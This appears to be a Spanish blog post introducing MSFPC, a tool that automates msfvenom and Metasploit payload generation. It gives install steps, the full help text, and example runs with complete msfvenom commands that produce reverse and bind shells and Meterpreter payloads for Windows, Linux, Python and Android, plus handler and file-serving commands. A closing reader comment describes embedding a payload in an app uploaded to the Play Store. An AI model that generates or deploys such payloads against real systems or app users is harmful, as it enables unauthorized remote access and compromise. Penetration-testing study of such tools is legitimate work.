El objetivo final es la completa automatización de msfvenom y Metasploit (así como ser capaz de automatizarse a sí mismo). El resto es hacer que la vida del usuario sea lo más sencilla posible (por ejemplo mediante un menú de selección de IP, archivos/comandos de recursos de msfconsole, creación de payloads por lotes y posibilidad de ingresar cualquier argumento en cualquier orden).
La única entrada necesaria del usuario debería ser la definición que quiere del payload con la plataforma (por ejemplo, Windows) y la extensión de archivo que quiere que tenga (por ejemplo, exe).
- ¿No puedes recordar la IP de una interfaz? No te preocupes, simplemente usa el nombre de la interfaz: eth0.
- ¿No sabes cuál es tu IP externa? MSFPC lo descubrirá: wan.
- ¿Quieres generar un payload de cada? ¡Sin problema! Prueba: loop.
- ¿Quieres crear payloads masivamente? ¿Todos? ¿O filtrar la selección? .. Se cual sea la elección no hay problema. Prueba: batch (para todos), batch MSF (para cada opción Meterpreter), batch staged (para todos los payloads staged) o batch cmd stageless (para todos los prompts de comandos stageless)!
Instalación
- Diseñado para Kali Linux v2.x/Rolling y Metasploit v4.11+.
- En Kali v1.x debería funcionar.
- En OSX 10.11+ debería funcionar.
- En Weakerth4n 6+ debería funcionar.
- ...no se ha probado en nada más.
$ chmod 0755 /usr/local/bin/msfpc
Kali-Linux
MSFPC está ya en los repositorios de Kali Rolling, por lo que sólo tenemos que ejecutar:
root@kali:~# apt install -y msfpc
Ayuda
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Missing TYPE or BATCH/LOOP mode
/usr/local/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Example: /usr/local/bin/msfpc windows 192.168.1.10 # Windows & manual IP.
/usr/local/bin/msfpc elf bind eth0 4444 # Linux, eth0's IP & manual port.
/usr/local/bin/msfpc stageless cmd py https # Python, stageless command prompt.
/usr/local/bin/msfpc verbose loop eth1 # A payload for every type, using eth1's IP.
/usr/local/bin/msfpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
/usr/local/bin/msfpc help verbose # Help screen, with even more information.
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .exe // .dll]
Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
Missing <DOMAIN/IP> will default to the IP menu.
Missing <PORT> will default to 443.
<CMD> is a standard/native command prompt/terminal to interactive with.
<MSF> is a custom cross platform shell, gaining the full power of Metasploit.
Missing <CMD/MSF> will default to <MSF> where possible.
<BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
<REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
Missing <BIND/REVERSE> will default to <REVERSE>.
<STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
<STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
<TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
<HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
<HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
<FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
<BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> will just create one of each <TYPE>.
<VERBOSE> will display more information.
Ejemplos
Ejemplo #1 (Windows, totalmente automatizado usando una IP manual)
$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
Ejemplo #2 (Formato Linux, completamente automatizado usando un inferfaz y puerto manual)
$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
Ejemplo #3 (Formato Python, Menú IP interactivo)
$ msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Use which interface - IP address?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Select 1-3, interface or IP address: 1
[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
> '/root/python-shell-stageless-reverse-tcp-443.py'
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
Ejemplo #4 (Loop - Genera uno de cada)
$ ./msfpc.sh loop wan
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Loop Mode. Creating one of each TYPE, with default values
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: xxx.xxx.xxx.xxx
[i] PORT: 443
[i] TYPE: android (android/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
> '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
...SNIP...
[*] Done!
$
Proyecto: https://github.com/g0tmi1k/mpc
Buenas tardes me llamo Alfonso Miguel Feliz,,! navidad te comento cuando cargo el parche server a la inversa tono bien ,, luego lo alojo en usr/www/html y reinicio el server apache todo bien pero tengo problemas si escaneo a la inversa a la lectura macscan se me queda , hace un bucle gracias , otro de los problemas surge cuando meto el parche ap en una aplicacion la subo a playstore la cerifico pero no me funciona bien si , lo ago al reves bao la aplicacion la desconprimo meto el archivo server , hasta y bien pero cuando le obligo actualizar con comman update cert play si actualiza muy limpio pero me surge un problema con el token de la ap , un saludo espero noticias
ResponderEliminar